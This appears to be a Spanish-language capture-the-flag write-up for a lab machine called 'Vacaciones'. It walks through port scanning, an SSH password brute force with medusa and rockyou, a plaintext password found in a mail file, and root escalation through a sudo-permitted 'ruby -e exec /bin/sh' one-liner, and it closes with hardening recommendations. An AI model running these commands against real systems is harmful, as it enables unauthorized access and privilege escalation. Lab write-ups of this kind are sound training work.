Análisis Técnico de la Máquina "Vacaciones"

1. CONECTIVIDAD

ping -c1 172.17.0.2

PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data. 64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.283 ms

--- 172.17.0.2 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.283/0.283/0.283/0.000 ms

IP de la Máquina Víctima: 172.17.0.2

IP de la Máquina Atacante: 192.168.0.26

2. ESCANEO DE PUERTOS

nmap -p- -Pn -sVCS --min-rate 5000 172.17.0.2

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)

80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

https://we.tl/t-f8vadCiTkL foto puerto 80

https://we.tl/t-9v6MwRR4mR foto codigo fuente puerto 80

posibles usuarios juan y camilo

3. ENUMERACION DE USUARIOS Y DIRECTORIOS

medusa -u camilo -P /usr/share/wordlists/rockyou.txt -h 172.17.0.2 -M ssh

ACCOUNT FOUND: [ssh] Host: 172.17.0.2 User: camilo Password: password1 [SUCCESS]

camilo/password1

Intentamos conexión ssh

ssh camilo@172.17.0.2

The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established. ED25519 key fingerprint is SHA256:52z4CT20OpL7G8YfPhcdERem6Sq+z8868LngvNGXRlA. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.

camilo@172.17.0.2's password: $ whoami camilo

Al iniciar una nueva instancia de Bash puede ser útil para restablecer configuraciones,probar comandos en un entorno limpio, y realizar tareas con diferentes permisos de usuario. Esto nos da más control y flexibilidad sobre nuestro entorno de trabajo en la terminal.

$ bash

camilo@1fccfdfc0c48:~$

4. ESCALAMIENTO DE PRIVILEGIOS:

Buscar permisos sudo:

```
sudo -l
```

```
[sudo] password for camilo: Sorry, user camilo may not run sudo on
1fccfdfc0c48.
```

```
Buscar archivos binarios con SUID habilitado:
```

```
find / -perm -u=s -type f 2>/dev/null
```

```
/usr/bin/chfn /usr/bin/gpasswd /usr/bin/passwd /usr/bin/chsh /usr/bin/newgrp
/usr/bin/sudo /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/openssh/ssh-
keysign /bin/mount /bin/umount /bin/su
```

Probamos todos en GTFObins y no va ninguno

```
Buscar correos electrónicos (posible comunicación entre juan y camilo):
```

```
find / -name 'mail' 2>/dev/null
```

```
/var/spool/mail /var/mail
```

Investigación de /var/mail:

```
cd /var/mail ls -la
```

```
total 16 drwxrwsr-x 1 root mail 4096 Apr 25 08:13 . drwxr-xr-x 1 root root 4096
Apr 25 08:12 .. drwxr-sr-x 2 root mail 4096 Apr 25 08:13 camilo
```

Exploración del correo de "camilo":

```
cd camilo ls -la cat correo.txt
```

```
Hola Camilo, Me voy de vacaciones y no he terminado el trabajo que me dio el
jefe. Por si acaso lo pide, aquí tienes la contraseña: 2k84dicb
```

```
Cambiar a usuario "juan" con la contraseña obtenida:
```

```
su juan
```

```
Password: $ whoami juan
```

```
$ bash
```

```
juan@1fccfdfc0c48:/home/camilo$
```

```
Verificar permisos sudo para "juan":
```

```
sudo -l
```

```
Matching Defaults entries for juan on 1fccfdfc0c48: env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
```

```
User juan may run the following commands on 1fccfdfc0c48: (ALL) NOPASSWD:
/usr/bin/ruby
```

Escalar privilegios utilizando Ruby:

Nos vamos a GTFObins

https://we.tl/t-nWKa8CwLKD foto gtfobins

juan@1fccfdfc0c48:~$ sudo ruby -e 'exec "/bin/sh"'

whoami

root

RECOMENDACIONES:

Contraseñas Seguras: Implementar políticas de contraseñas fuertes para evitar accesos no autorizados a través de ataques de fuerza bruta.
Revisión de Permisos: Realizar auditorías regulares de permisos de sudo y eliminar accesos innecesarios.
Seguridad en Correos: Evitar compartir contraseñas o información sensible a través de correos electrónicos en texto plano.
Restricción de SUID: Minimizar el uso de binarios con SUID habilitado y revisar periódicamente su necesidad.

CONCLUSIONES:

Vulnerabilidades Encontradas: Contraseñas débiles y uso inapropiado de permisos sudo pueden llevar a la escalada de privilegios.
Importancia de la Gestión de Seguridad: La adecuada configuración y gestión de usuarios y permisos es crucial para mantener la seguridad del sistema.
Protocolo de Mejora: Implementar las recomendaciones mencionadas para fortalecer la seguridad y reducir la superficie de ataque en el sistema.